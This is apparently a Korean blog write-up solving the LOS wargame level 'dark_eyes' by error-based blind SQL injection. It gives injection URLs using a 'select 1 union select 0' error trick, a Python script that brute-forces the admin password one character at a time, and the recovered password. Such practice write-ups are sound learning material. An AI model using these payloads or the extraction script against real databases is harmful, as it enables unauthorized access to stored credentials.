cgy12306

[LOS] dark_eyes 본문

Wargame/LOS

[LOS] dark_eyes

cgy12306 2019. 9. 8. 13:42

이번 소스 코드에는 조건문들이 필터링 되어 있고 mysql 에러가 일어났을 때 에러를 출력하지 않는다.

아래와 같이 쿼리문을 작성하게 되면 빈 화면이 뜨게 된다.

https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=' or id='admin' and (select 1 union select 0 where length(pw)>0)%23%20

패스워드 길이가 0글자를 넘을 경우 select 1 union select 0이 실행이 된다. select 1 union select 0이 실행이 되면 해당 테이블에 admin이라는 값이 한 행 밖에 없어서 쿼리 오류가 발생한다.




https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=' or id='admin' and (select 1 union select 0 where length(pw)<0)%23%20

이렇게 입력하게 되면 where절이 거짓으로 되어 union select는 실행되지 않고 select 1만 실행되어 쿼리문이 정상적으로 작동하게 된다.



where절에 !를 걸어줘서 참 값을 거짓으로 만들어주면 편하게 풀 수 있다.

https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=' or id='admin' and (select 1 union select 0 where !(length(pw)>0))%23%20




https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=' or id='admin' and (select 1 union select 0 where !(length(pw)=8))%23%20

패스워드 길이가 8글자인 것을 알아냈으니 python 코드를 작성해보자.


import requests

arry=[]

cookies = {'__cfduid': 'd9f10fcfbd34f89c5ee38157582d611711557926817', 'PHPSESSID' : 'pe1p0o2p0gtruuk86pr8s7jqj1'}
    
for k in range(1,9):
    for j in range(0,0x10ffff):
        res = requests.get(url="https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=' or id='admin' and (select 1 union select 0 where !(ord(substr(pw,"+str(k)+",1))="+str(j)+"))%23%20",cookies=cookies)
        
        if 'query' in res.text:
            print(k,' : ', j, "O")
                
            arry.append(chr(j))


            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)


패스워드는 5a2f5d3c이다.

https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=5a2f5d3c


'Wargame > LOS' 카테고리의 다른 글

[LOS] hell_fire, evil_wizard  (0) 2019.09.08
[LOS] iron_golem  (0) 2019.09.07
[LOS] dragon  (0) 2019.09.07
[LOS] xavis  (0) 2019.09.07
[LOS] nightmare  (0) 2019.08.30
Comments